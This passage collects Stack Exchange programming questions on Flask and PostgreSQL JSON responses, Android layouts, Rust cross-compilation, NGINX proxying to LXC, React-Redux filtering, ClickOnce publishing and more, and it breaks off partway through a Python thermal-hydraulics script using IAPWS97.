问:
How to get multiple entries of user from Postgresql and send response using flask?
I've been working on flask framework recently, I am using PostgreSQL to store data.

I came across a situation where I need to fetch the data from the PostgreSQL db and send an response across to the front end.

What ever I do I get an "type cannot be serialize" error.

How can I build the response format.

Here is the line of code Used:

```<code>

class tojson:
    def toJSON(self):
        return json.dumps(self, default=lambda o: o.__dict__,
            sort_keys=True)

class creations(Resource):
    def get(self):
        try:
            request_body=request.json
            A=request_body['user_id']

            sql='''SELECT * FROM creations WHERE user_id=%s ORDER BY created_od DESC '''
            cursor.execute(sql, (A,))
            data = cursor.fetchall()
            Text_prompt = []
            Image_prompt=[]
            date=[]
            image_style=[]
            text_output=[]
            Image_0=[]
            Image_1=[]
            Image_2=[]
            for row in data:
                Text_prompt.append(row[1])
                Image_prompt.append(row[2])
                date.append(row[9])
                text_output.append(row[4])
                Image_0.append(bytes(row[5]))
                Image_1.append(bytes(row[6]))
                Image_2.append(bytes(row[7]))
            print(type(date))
            prompts=tojson()
            prompts.image=json.dumps(Image_prompt)
            toreturn=(prompts.toJSON())
            return  (json.loads(toreturn)),200,{'Access-Control-Allow-Origin':'*'}
        except:
            return ({"ERROR":Exception}),500
</code>```

HERE IS MY DB

THE RESPONSE I NEED IS:

```<code>{
  "date":"date from db",
  "user Id":"user Id from db",

  "Data":[
    { "text_prompt":"text prompt from db",
    "Image_prompt":"Image prompt from db",
    "text_result":"text result from db",
    "Images":["img_result_1","img_result_2","img_result+3"]
    },
    {
    "text_prompt":"text prompt from db",
    "Image_prompt":"Image prompt from db",
    "text_result":"text result from db",
    "Images":["img_result_1","img_result_2","img_result_3"]

    }]

}
</code>```

I need to filter the data via date and get the details in this format, If image or text result are null we shall not send it to response

Body:
I've been working on flask framework recently, I am using PostgreSQL to store data.

I came across a situation where I need to fetch the data from the PostgreSQL db and send an response across to the front end.

What ever I do I get an "type cannot be serialize" error.

How can I build the response format.

Here is the line of code Used:

class tojson:
    def toJSON(self):
        return json.dumps(self, default=lambda o: o.__dict__,
            sort_keys=True)

class creations(Resource):
    def get(self):
        try:
            request_body=request.json
            A=request_body['user_id']

            sql='''SELECT * FROM creations WHERE user_id=%s ORDER BY created_od DESC '''
            cursor.execute(sql, (A,))
            data = cursor.fetchall()
            Text_prompt = []
            Image_prompt=[]
            date=[]
            image_style=[]
            text_output=[]
            Image_0=[]
            Image_1=[]
            Image_2=[]
            for row in data:
                Text_prompt.append(row[1])
                Image_prompt.append(row[2])
                date.append(row[9])
                text_output.append(row[4])
                Image_0.append(bytes(row[5]))
                Image_1.append(bytes(row[6]))
                Image_2.append(bytes(row[7]))
            print(type(date))
            prompts=tojson()
            prompts.image=json.dumps(Image_prompt)
            toreturn=(prompts.toJSON())
            return  (json.loads(toreturn)),200,{'Access-Control-Allow-Origin':'*'}
        except:
            return ({"ERROR":Exception}),500

HERE IS MY DB

THE RESPONSE I NEED IS:

{
  "date":"date from db",
  "user Id":"user Id from db",

  "Data":[
    { "text_prompt":"text prompt from db",
    "Image_prompt":"Image prompt from db",
    "text_result":"text result from db",
    "Images":["img_result_1","img_result_2","img_result+3"]
    },
    {
    "text_prompt":"text prompt from db",
    "Image_prompt":"Image prompt from db",
    "text_result":"text result from db",
    "Images":["img_result_1","img_result_2","img_result_3"]

    }]

}

I need to filter the data via date and get the details in this format, If image or text result are null we shall not send it to response


来源: stackexchange

问:
How to adjust different font awesome logo's inside buttons in android xml?
I have created a search page in android xml and I would like to make it look beter with font awesome logo's. In the section "Part of the day" I have 3 buttons which I call from another xml file specially created for them only (I also use them in other page where I can configure search settings). So what I want for my buttons is to look like this:
Design in Figma

I tried to do it in xml and saw my fault, I call only one button, so I can only modify this one button inside it xml. So what I want is to change my button.xml to not one button, but to three in a horizontal row where all three of them have different font awesome logo's, but I dont quite know how to do it correctly.

Here's my xml code:

SearchPage.xml:

```<code><?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:rsb="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="@color/white"
    android:fitsSystemWindows="true"
    android:orientation="vertical">

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="@dimen/spacing_default"
        android:fontFamily="sans-serif-medium"
        android:gravity="left"
        android:text="@string/tennis_search_part_of_day"
        android:textColor="@color/txtPrimary"
        android:textSize="14sp" />

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="30dp"
        android:orientation="horizontal"
        android:padding="@dimen/spacing_default">

        <include
            android:id="@+id/viewBtnDayMorning"
            layout="@layout/button_toggle" />

        <include
            android:id="@+id/viewBtnDayAfternoon"
            layout="@layout/button_toggle" />

        <include
            android:id="@+id/viewBtnDayEvening"
            layout="@layout/button_toggle" />
    </LinearLayout>

    <include layout="@layout/view_divider" />
</code>```

button_toggle.xml:

```<code><?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_weight="1"
    android:gravity="center">

    <TextView
        android:id="@+id/tvSelected"
        android:layout_width="110dp"
        android:layout_height="77dp"
        android:background="@drawable/bg_button_toggle_selected"
        android:ellipsize="end"
        android:fontFamily="sans-serif-medium"
        android:gravity="center"
        android:maxLines="2"
        android:textColor="@color/white"
        android:textSize="@dimen/txt_default"
        tools:text="Selected" />

    <TextView
        android:id="@+id/tvAvailable"
        android:layout_width="110dp"
        android:layout_height="77dp"
        android:background="@drawable/bg_button_toggle_available"
        android:ellipsize="end"
        android:fontFamily="sans-serif-medium"
        android:gravity="center"
        android:maxLines="2"
        android:textColor="@color/txtSecondary"
        android:textSize="@dimen/txt_default"
        tools:text="Available" />

    <TextView
        android:id="@+id/icon_view"
        android:layout_width="110dp"
        android:layout_height="38dp"
        android:gravity="center"
        android:background="@drawable/radius19"
        android:fontFamily="@font/fontawesome_solid"
        android:text="@string/fa_sunrise"
        android:textSize="16dp"

</RelativeLayout>
</code>```

With my current state I am getting smth like this:

screen from android studio

I am new to the whole android studio, xml layouts and java so I would really appreciate any help, thanks a lot in advance!

```<code></code>```

ContentLicense: CC BY-SA 4.0

Body:
I have created a search page in android xml and I would like to make it look beter with font awesome logo's. In the section "Part of the day" I have 3 buttons which I call from another xml file specially created for them only (I also use them in other page where I can configure search settings). So what I want for my buttons is to look like this:
Design in Figma

I tried to do it in xml and saw my fault, I call only one button, so I can only modify this one button inside it xml. So what I want is to change my button.xml to not one button, but to three in a horizontal row where all three of them have different font awesome logo's, but I dont quite know how to do it correctly.

Here's my xml code:

SearchPage.xml:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:rsb="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="@color/white"
    android:fitsSystemWindows="true"
    android:orientation="vertical">

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="@dimen/spacing_default"
        android:fontFamily="sans-serif-medium"
        android:gravity="left"
        android:text="@string/tennis_search_part_of_day"
        android:textColor="@color/txtPrimary"
        android:textSize="14sp" />

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="30dp"
        android:orientation="horizontal"
        android:padding="@dimen/spacing_default">

        <include
            android:id="@+id/viewBtnDayMorning"
            layout="@layout/button_toggle" />

        <include
            android:id="@+id/viewBtnDayAfternoon"
            layout="@layout/button_toggle" />

        <include
            android:id="@+id/viewBtnDayEvening"
            layout="@layout/button_toggle" />
    </LinearLayout>

    <include layout="@layout/view_divider" />

button_toggle.xml:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_weight="1"
    android:gravity="center">

    <TextView
        android:id="@+id/tvSelected"
        android:layout_width="110dp"
        android:layout_height="77dp"
        android:background="@drawable/bg_button_toggle_selected"
        android:ellipsize="end"
        android:fontFamily="sans-serif-medium"
        android:gravity="center"
        android:maxLines="2"
        android:textColor="@color/white"
        android:textSize="@dimen/txt_default"
        tools:text="Selected" />

    <TextView
        android:id="@+id/tvAvailable"
        android:layout_width="110dp"
        android:layout_height="77dp"
        android:background="@drawable/bg_button_toggle_available"
        android:ellipsize="end"
        android:fontFamily="sans-serif-medium"
        android:gravity="center"
        android:maxLines="2"
        android:textColor="@color/txtSecondary"
        android:textSize="@dimen/txt_default"
        tools:text="Available" />

    <TextView
        android:id="@+id/icon_view"
        android:layout_width="110dp"
        android:layout_height="38dp"
        android:gravity="center"
        android:background="@drawable/radius19"
        android:fontFamily="@font/fontawesome_solid"
        android:text="@string/fa_sunrise"
        android:textSize="16dp"

</RelativeLayout>

With my current state I am getting smth like this:

screen from android studio

I am new to the whole android studio, xml layouts and java so I would really appreciate any help, thanks a lot in advance!


问:
error: linker `aarch64-unknown-linux-gnu-gcc` not found - M1 Mac
Trying to cross compile Rust for the Raspberry Pi and running into a lot of issues - I believe I've reduced it down to this 'linker not found' error. Only trouble is, I'm not sure how to go about installing this.

I've started going down the rabbit hole of installing crosstool-ng (per this answer), but this is creating it's own slew of errors relating to not being able to find objcopy or gobjcopy. I've tried installing these using brew install binutils to no avail.

Is this route making my life unneccesarily difficult and I'm missing some easy way to get this running? I figure this would be as simple as

```<code>rustup target add aarch64-unknown-linux-gnu
</code>```

and adding

```<code>[build]
target = "aarch64-unknown-linux-gnu"

[target.aarch64-unknown-linux-gnu]
linker = "aarch64-unknown-linux-gnu-gcc"
</code>```

to my /.cargo/config but alas this has proven to be quite cumbersome.

Body:
Trying to cross compile Rust for the Raspberry Pi and running into a lot of issues - I believe I've reduced it down to this 'linker not found' error. Only trouble is, I'm not sure how to go about installing this.

I've started going down the rabbit hole of installing crosstool-ng (per this answer), but this is creating it's own slew of errors relating to not being able to find objcopy or gobjcopy. I've tried installing these using brew install binutils to no avail.

Is this route making my life unneccesarily difficult and I'm missing some easy way to get this running? I figure this would be as simple as

rustup target add aarch64-unknown-linux-gnu

and adding

[build]
target = "aarch64-unknown-linux-gnu"

[target.aarch64-unknown-linux-gnu]
linker = "aarch64-unknown-linux-gnu-gcc"

to my /.cargo/config but alas this has proven to be quite cumbersome.


问:
Problems getting GPT-3 to conduct statistical analysis of a dataframe or json file
I'm having problems getting gpt-3 to do simple statistical summaries of a dataframe/json file - using python pandas as the suggested prompt, oddly it does categorical analysis of  the df, ie value_counts etc but seems to hallucinate when faced with numbers but i'm sure its just my error. I'm not sure if its the way i'm feeding the df in or something else? cheers.

```<code>import pandas as pd
import openai
from sqlalchemy import create_engine

openai.api_key =  "API_KEY"

query = "Select * from table"
engine = create_engine()

df = pd.read_sql_query(query, engine)

completion = openai.Completion.create(
    engine="text-davinci-003",
    temperature=0.5,
    max_tokens=100,
    n = 1,
    stop=None,
   prompt = (f"print sum of values in df called {df}" ) ) `

a = completion.choices[0].text
print(a)
</code>```

i tried to use different versions of the file and different ways of calling but to no effect, changed engines also

Body:
I'm having problems getting gpt-3 to do simple statistical summaries of a dataframe/json file - using python pandas as the suggested prompt, oddly it does categorical analysis of  the df, ie value_counts etc but seems to hallucinate when faced with numbers but i'm sure its just my error. I'm not sure if its the way i'm feeding the df in or something else? cheers.

import pandas as pd
import openai
from sqlalchemy import create_engine

openai.api_key =  "API_KEY"

query = "Select * from table"
engine = create_engine()

df = pd.read_sql_query(query, engine)

completion = openai.Completion.create(
    engine="text-davinci-003",
    temperature=0.5,
    max_tokens=100,
    n = 1,
    stop=None,
   prompt = (f"print sum of values in df called {df}" ) ) `

a = completion.choices[0].text
print(a)

i tried to use different versions of the file and different ways of calling but to no effect, changed engines also


问:
What tool should I use to test Zoom like application with 50 users
My organization created an application similar to Zoom and I need to test it with 50 users and verify how the interface is looking with that many users in different screen size.

I need suggestions what tool should I use to create 50 + users or clone my user 50 times and check the UI flow.


问:
Forwarding DNS to LXC container
Eventhough I configured in my NGINX Proxy-Server to redirect to a LXC container when connected to a certain domain this is not working.

I am trying to connect to my website in a LXC container, I have pointed my domain towards it and in a additional LXC container (proxy) i have made a NGINX file that should redirect to that page.

When i remove the NGINX configuration I do get connected to proxy servers nginx once I browse to the site, when I use the NGINX config to redirect and browse to my site it can not connect.

I expected the NGINX Config to make it redirect to my page, this is my NGINX config in the proxy:

```<code>upstream containername {
    server containername .lxd:80;
}

server {
    listen 80 proxy_protocol;
    listen [::]:80 proxy_protocol;
    server_name domain.com;

    location / {
        proxy_pass https://containername;

        proxy_redirect off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

</code>```

When restarting NGINX on both the Proxy container and the site container I am not having any issues.

Title: Forwarding DNS to LXC container

Body:
Eventhough I configured in my NGINX Proxy-Server to redirect to a LXC container when connected to a certain domain this is not working.

I am trying to connect to my website in a LXC container, I have pointed my domain towards it and in a additional LXC container (proxy) i have made a NGINX file that should redirect to that page.

When i remove the NGINX configuration I do get connected to proxy servers nginx once I browse to the site, when I use the NGINX config to redirect and browse to my site it can not connect.

I expected the NGINX Config to make it redirect to my page, this is my NGINX config in the proxy:

upstream containername {
    server containername .lxd:80;
}

server {
    listen 80 proxy_protocol;
    listen [::]:80 proxy_protocol;
    server_name domain.com;

    location / {
        proxy_pass https://containername;

        proxy_redirect off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

When restarting NGINX on both the Proxy container and the site container I am not having any issues.


问:
React-Redux Search/Filter component countries API
I have problem with initialization of search and filter for ma countries api. I have stuck with problem how to implement code. I will be gratefull for any help or some advices how to do this. My files look like this:

Store.js

```<code>import { applyMiddleware, combineReducers, createStore, compose } from 'redux'
import getCountries from './getCountries'

const initialState = {
        variable: {
            data: [],
    },
    filters: {
        searchPhrase: '',
        continent: ''
    }

}

const reducers = {
    variable: getCountries, // variablesReducer
}

const storeReducer = combineReducers(reducers)

const store = createStore(
    storeReducer,
    initialState,
    compose(applyMiddleware(), window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__()) // przed deployem usunac
)
export default store
</code>```

SearchPhraseRedux.js

```<code>//SearchEngine
export const getData = ({variable}, filters) => {
    if(!filters.searchPhrase){
        return variable.data
    }
    //Logic

    //export const getCountryByName = ({variable}, name) =>
    //variable.data.find(e=>e.name.common === name)
}

const reducerName = 'variable'
const createActionName = (name) => `app/${reducerName}/${name}`

export const SET_DATA = createActionName("SET_DATA")
export const setData = payload => ({payload, type: SET_DATA})

export default function reducer(statePart=[], action={}){
    switch(action.type) {
        case SET_DATA:
            return {...statePart, data: action.payload}
            default:
                return statePart
    }
}
</code>```

countryContainer.js

```<code>import { connect } from "react-redux"
import { getData, setData} from '../../redux/getCountries'
import Countries from "./countries"

const mapStateToProps = (state) => ({
    data: getData(state),
})

const mapDispatchToProps = dispatch =>({
    setData: (value) => dispatch(setData(value)),
})

export default connect(mapStateToProps, mapDispatchToProps)(Countries)
</code>```

countries.js

```<code>import React from 'react'
import { useEffect} from 'react'
import Axios from 'axios'
import '../../../src/index.css'
import {Link} from 'react-router-dom'

const Countries = ({data,setData}) => {

    const url = 'https://restcountries.com/v3.1/all'

    useEffect(() => {
      Axios.get(url)
      .then((rest) =>{
        setData(rest.data)
      })
    },[url, setData])

  return (
    <div>
        <section className='grid'>
            {data.map((country) => {
                const {population, region, capital} = country
                    const {png} = country.flags
                        const {official, common} = country.name
                    return <article key={common}>
                        <div>
                              <Link classsName='link' to={`/countries/${common}`}>
                              <img src ={png} alt={official}/>
                              </Link>
                            <div className='details'>
                              <h3>{common}</h3>
                              <h4>Population: <span>{population}</span></h4>
                              <h4>Region: <span>{region}</span></h4>
                              <h4>Capital: <span>{capital}</span></h4>
                              </div>
                        </div>
                            </article>
                        })}
        </section>
    </div>
  )
}

export default Countries

</code>```

I have tried to get One country like this:

```<code>export const getCountryByName = ({variable}, name) => variable.data.find(e=>e.name.common === name)
</code>```

but,by extending this code, it is difficult for me to make search and filter

Body:
I have problem with initialization of search and filter for ma countries api. I have stuck with problem how to implement code. I will be gratefull for any help or some advices how to do this. My files look like this:

Store.js

import { applyMiddleware, combineReducers, createStore, compose } from 'redux'
import getCountries from './getCountries'

const initialState = {
        variable: {
            data: [],
    },
    filters: {
        searchPhrase: '',
        continent: ''
    }

}

const reducers = {
    variable: getCountries, // variablesReducer
}

const storeReducer = combineReducers(reducers)

const store = createStore(
    storeReducer,
    initialState,
    compose(applyMiddleware(), window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__()) // przed deployem usunac
)
export default store

SearchPhraseRedux.js

//SearchEngine
export const getData = ({variable}, filters) => {
    if(!filters.searchPhrase){
        return variable.data
    }
    //Logic

    //export const getCountryByName = ({variable}, name) =>
    //variable.data.find(e=>e.name.common === name)
}

const reducerName = 'variable'
const createActionName = (name) => `app/${reducerName}/${name}`

export const SET_DATA = createActionName("SET_DATA")
export const setData = payload => ({payload, type: SET_DATA})

export default function reducer(statePart=[], action={}){
    switch(action.type) {
        case SET_DATA:
            return {...statePart, data: action.payload}
            default:
                return statePart
    }
}

countryContainer.js

import { connect } from "react-redux"
import { getData, setData} from '../../redux/getCountries'
import Countries from "./countries"

const mapStateToProps = (state) => ({
    data: getData(state),
})

const mapDispatchToProps = dispatch =>({
    setData: (value) => dispatch(setData(value)),
})

export default connect(mapStateToProps, mapDispatchToProps)(Countries)

countries.js

import React from 'react'
import { useEffect} from 'react'
import Axios from 'axios'
import '../../../src/index.css'
import {Link} from 'react-router-dom'

const Countries = ({data,setData}) => {

    const url = 'https://restcountries.com/v3.1/all'

    useEffect(() => {
      Axios.get(url)
      .then((rest) =>{
        setData(rest.data)
      })
    },[url, setData])

  return (

            {data.map((country) => {
                const {population, region, capital} = country
                    const {png} = country.flags
                        const {official, common} = country.name
                    return

                              <Link classsName='link' to={`/countries/${common}`}>

                              </Link>

{common}

Population: {population}

Region: {region}

Capital: {capital}

                        })}

  )
}

export default Countries

I have tried to get One country like this:

export const getCountryByName = ({variable}, name) => variable.data.find(e=>e.name.common === name)

but,by extending this code, it is difficult for me to make search and filter


问:
testing javascript scripts that use java interfaces but during testing there is not possibility to access it
Testing javascript files that use java interfaces but during testing there is not possibility to access it, so i am looking for a test framework that will provide me possibility to test js scripts and in addition allow me to mock java interfaces that are used withing mentioned scripts.

I was looking and trying different frameworks but i could not find perfect combination for my problem.


问:
SQL database Username contains Special Chars
I have a Spring Boot application with SQL Server. My database username contains a @ symbol.
eg: username@pc.com. At runtime, it's considered @pc.com as a server and throwing "cannot open pc.com server". I have tried below options for fixing it, but no luck.</p>
```<code>username%40pc.com
username\\@pc.com
"\"username@pc.com\""
</code>```

Body:
I have a Spring Boot application with SQL Server. My database username contains a @ symbol.
eg: username@pc.com. At runtime, it's considered @pc.com as a server and throwing "cannot open pc.com server". I have tried below options for fixing it, but no luck.

username%40pc.com
username\\@pc.com
"\"username@pc.com\""


问:
Moving ClickOnce VSTO To New Server
For a long time, I've published a VSTO to a certain server.  Let's call it ServerA.  So the publishing folder in Visual Studio is set to \ServerA\MyTool\install.

I now need to move the install to ServerB, but I don't want users to have to do anything to get the update (that's the point of ClickOnce, right?).

For non VSTOs Visual Studio give you the option to specify a different location to check for updates so I published a version to ServerA that said to look at ServerB for updates, and then I publish the new version to ServerB and that seems to all work.

For VSTOs, I can't find a place to tell the ClickOnce infrastructure to check an alternate location.  Does such a thing exist?  If not, any other ideas how to do this?

Title: Moving ClickOnce VSTO To New Server


问:
Device Activity Report App Icons Not Getting Bigger
I am working on implementing new Screen Time API (from WWDC 22) in my app and I am trying to show app icons in the report by using Label(:ApplicationToken) initialiser and it works fine. However, all the app icons are very small unlike in the video from WWDC. If you take a look on the screenshot, I have app icons like on the right-most phone, but want smith like on the left-most.

Here is the code I have in my View in the Device Activity Report Extension:

```<code>@ViewBuilder
private func appIcon(for applicationToken: ApplicationToken?) -> some View
{
    if let applicationToken
    {
        Label(applicationToken)
            .labelStyle(BigAppIconLabelStyle())
    }
}

struct BigAppIconLabelStyle: LabelStyle
{
    func makeBody(configuration: Configuration) -> some View {
        configuration.icon
            .scaleEffect(2) // Scale Effect increases the icon but destroys the quality
            .frame(width: 50, height: 50) // Frame The frame changes, but the icon is still tiny.
    }
}
</code>```

I tried to adjust the frame and font, but the only thing that works is scaleEffect, but, as you can imagine, the quality of the icon is terrible in this case.
Apple's documentation is also not helping, so I was wondering how can I make this app icons bigger?

Body:
I am working on implementing new Screen Time API (from WWDC 22) in my app and I am trying to show app icons in the report by using Label(:ApplicationToken) initialiser and it works fine. However, all the app icons are very small unlike in the video from WWDC. If you take a look on the screenshot, I have app icons like on the right-most phone, but want smith like on the left-most.

Here is the code I have in my View in the Device Activity Report Extension:

@ViewBuilder
private func appIcon(for applicationToken: ApplicationToken?) -> some View
{
    if let applicationToken
    {
        Label(applicationToken)
            .labelStyle(BigAppIconLabelStyle())
    }
}

struct BigAppIconLabelStyle: LabelStyle
{
    func makeBody(configuration: Configuration) -> some View {
        configuration.icon
            .scaleEffect(2) // Scale Effect increases the icon but destroys the quality
            .frame(width: 50, height: 50) // Frame The frame changes, but the icon is still tiny.
    }
}

I tried to adjust the frame and font, but the only thing that works is scaleEffect, but, as you can imagine, the quality of the icon is terrible in this case.
Apple's documentation is also not helping, so I was wondering how can I make this app icons bigger?


问:
AttributeError: 'IAPWS97' object has no attribute 'rho'
I am trying to run this loop; however, I am getting a no attribute error in the second portion of my code. Below is the entire code (sorry for the length). When I run the first case (PWR) the code executes normally as expected. However, when I run the second case (BWR) I receive the error even though it is the same exact statement from case one. Is there any fix or explanation for this? Thank you.

```import numpy as np
import math
from iapws import IAPWS97
import matplotlib.pyplot as plt

case = int(input('Which case [1 (PWR) or 2 (BWR)]? '))

if case == 1:  # PWR
    H = 3.8  # m
    He = 3.8  # m
    Pitch = 1.25 * 10 ** (-2)  # m
    Gap_t = 0.00006  # m
    D_fuel = 0.0082  # m
    k_gap = 0.25  # W/m-K
    k_c = 21.5  # W/m-K
    k_fuel = 3.6  # W/m-K
    T0 = float(278 + 273.15)  # K
    q0_prime = float(330 * 10 ** (2))  # W/m
    P0 = 15  # MPa
    MF = float(3460)  # kg/m^2-s
    D_rod = .0095  # m
    R_rod = D_rod / 2
    R_fuel = D_fuel / 2
    R_gap = R_fuel + Gap_t
    R_clad = R_rod
    Clad_t = D_rod - D_fuel - Gap_t  # m
    h0_enthalpy = (IAPWS97(T=T0, P=P0).h) * 10 ** (3)
    T_sat0 = IAPWS97(P=P0, x=0).T
    g = 9.81  # m/s

    # geometry properties
    heated_p = math.pi * D_rod
    wetted_p = math.pi * D_rod
    A_f = (Pitch ** 2) - ((1 / 4) * math.pi * (D_rod ** 2))
    D_H = (4 * A_f) / heated_p

    # grid setup
    grid_points = 100
    dz = H / grid_points
    z_array = np.arange(0, H, dz)
    z_arrayplots = np.arange(0, H, dz)
    q_HeatFluxList = []

    # defining array of q'' values in list
    for z in z_array:
        heat_fluxA = (q0_prime / (math.pi * D_rod)) * math.sin(math.pi * (z / He))
        q_HeatFluxList.append(heat_fluxA)

    q_heat_flux = np.array(q_HeatFluxList)

    q_prime = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        q_prime[i] = q0_prime * math.sin((np.pi * z_array[i]) / He)

    # defining array of h values
    h_enthalpy_list = []
    h_enthalpy_prefactor = ((heated_p * q0_prime * H) / (A_f * MF * (math.pi ** 2) * D_rod))
    for z in z_array:
        h_enthalpy = (-h_enthalpy_prefactor * math.cos(math.pi * (z / He))) + h_enthalpy_prefactor + h0_enthalpy
        h_enthalpy_list.append(h_enthalpy)

    h_enthalpy_array_J = np.array(h_enthalpy_list)
    h_enthalpy_array = h_enthalpy_array_J * 10 ** (-3)

    P_array = np.zeros(len(z_array))
    P_array[0] = P0

    T_sat = np.zeros(len(z_array))
    T_sat[0] = T_sat0

    T_f_array = np.zeros(len(z_array))
    T_f_array[0] = T0

    Re = np.zeros(len(z_array))
    Re_f = np.zeros(len(z_array))
    Pr = np.zeros(len(z_array))

    k_fluid = np.zeros(len(z_array))

    x_array = np.zeros(len(z_array))
    xe_array = np.zeros(len(z_array))

    frictional = np.zeros(len(z_array))
    gravitational = np.zeros(len(z_array))
    compressibility = np.zeros(len(z_array))

    # Pressure Loop PWR
    dp = 0.001
    for i in range(0, len(z_array) - 1):
        rho_f = IAPWS97(P=P_array[i], x=0).rho
        vf = IAPWS97(P=P_array[i], x=0).v
        vg = IAPWS97(P=P_array[i], x=1).v
        hf_enthalpy = IAPWS97(P=P_array[i], x=0).h
        hg_enthalpy = IAPWS97(P=P_array[i], x=1).h
        muf = (IAPWS97(P=P_array[i], x=0).mu) * 10 ** (-6)
        mug = (IAPWS97(P=P_array[i], x=1).mu) * 10 ** (-6)
        k_fluid[i] = IAPWS97(P=P_array[i], T=T_f_array[i]).k
        Pr[i] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt

        x_array[i] = 0
        xe_array[i] = (h_enthalpy_array[i] - hf_enthalpy) / (hg_enthalpy - hf_enthalpy)

        rho_m = 1 / ((x_array[i] * vg) + ((1 - x_array[i]) * vf))
        mu_m = 1 / ((x_array[i] / mug) + ((1 - x_array[i]) / muf))

        Re[i] = (MF * D_H) / (mu_m * 10 ** 6)  # convert mu to Pa/s
        f = 0.079 * (Re[i] ** -0.25) * (mu_m / muf)
        Tau = (1 / 2) * f * ((MF ** 2) / rho_m)

        Re_f[i] = Re[i]

        vf_plus_dP = IAPWS97(P=P_array[i] + dp, x=0).v
        vf_minus_dP = IAPWS97(P=P_array[i] - dp, x=0).v

        ddP_vf = (vf_plus_dP - vf_minus_dP) / (2 * (dp * 10 ** 6))

        frictional[i] = (Tau * wetted_p) / A_f
        gravitational[i] = g * rho_f
        compressibility[i] = (MF ** 2) * (ddP_vf)

        dPdz_num = (frictional[i] + gravitational[i])  # Pa/m
        dPdz_denom = 1 + compressibility[i]  # Pa/m
        dPdz = -dPdz_num / dPdz_denom  # Pa/m

        P_array[i + 1] = P_array[i] + ((dPdz * dz) * 10 ** (-6))
        T_f_array[i + 1] = IAPWS97(P=P_array[i + 1], h=h_enthalpy_array[i + 1]).T
        T_sat[i + 1] = IAPWS97(P=P_array[i + 1], x=0).T

    # final calc for final value of quality and void fraction because loop stops before these
    hf_final = IAPWS97(P=P_array[-1], x=0).h
    hg_final = IAPWS97(P=P_array[-1], x=1).h
    muf_final = (IAPWS97(P=P_array[-1], x=0).mu) * 10 ** (-6)
    mug_final = (IAPWS97(P=P_array[-1], x=1).mu) * 10 ** (-6)
    k_fluid[-1] = IAPWS97(P=P_array[-1], T=T_f_array[-1]).k

    xe_array[-1] = (h_enthalpy_array[-1] - hf_final) / (hg_final - hf_final)

    # fuel and clad temps
    T_C_Outer = np.zeros(len(z_array))

    mu_m_final = 1 / ((x_array[-1] / mug_final) + ((1 - x_array[-1]) / muf_final))

    Re_f[-1] = (MF * D_H) / (muf_final * 10 ** 6)

    Pr[-1] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt

    h_HT = 0.023 * (Re_f[0] ** 0.8) * (Pr[0] ** 0.4) * (k_fluid[0] / D_H)

    T_C_Outer[0] = (q_heat_flux[0] + (h_HT * T_f_array[0])) / h_HT

    for i in range(0, len(z_array) - 1):
        h_HT = 0.023 * (Re_f[i + 1] ** 0.8) * (Pr[i + 1] ** 0.4) * (k_fluid[i + 1] / D_H)
        T_C_Outer[i + 1] = (q_heat_flux[i + 1] + (h_HT * T_f_array[i + 1])) / h_HT

    q_triple_prime = (q_prime * 4) / (np.pi * (D_fuel ** 2))

    T_C_Inner = np.zeros(len(z_array))
    T_F_Outer = np.zeros(len(z_array))
    T_F_Center = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        C1 = -((q0_prime * R_clad) / (k_c * heated_p)) * np.sin(np.pi * (z_array[i] / H))
        C2 = T_C_Outer[i] - (C1 * np.log(R_clad))

        T_C_Inner[i] = (C1 * np.log(R_gap)) + C2

        C3 = (k_c / k_gap) * C1
        C4 = T_C_Inner[i] - (C3 * np.log(R_gap))

        T_F_Outer[i] = (C3 * np.log(R_fuel)) + C4

        C6 = T_F_Outer[i] + ((q_triple_prime[i] * (R_fuel ** 2)) / (4 * k_fuel))

        T_F_Center[i] = C6

    CL_max = np.amax(T_F_Center)
    index = np.where(T_F_Center == CL_max)
    z_CL_max = z_array[index]
    Clad_max = np.amax(T_C_Inner)
    index = np.where(T_C_Inner == Clad_max)
    z_Clad_max = z_array[index]

    plt.figure(1)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempClad.png", dpi=600)

    plt.figure(2)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
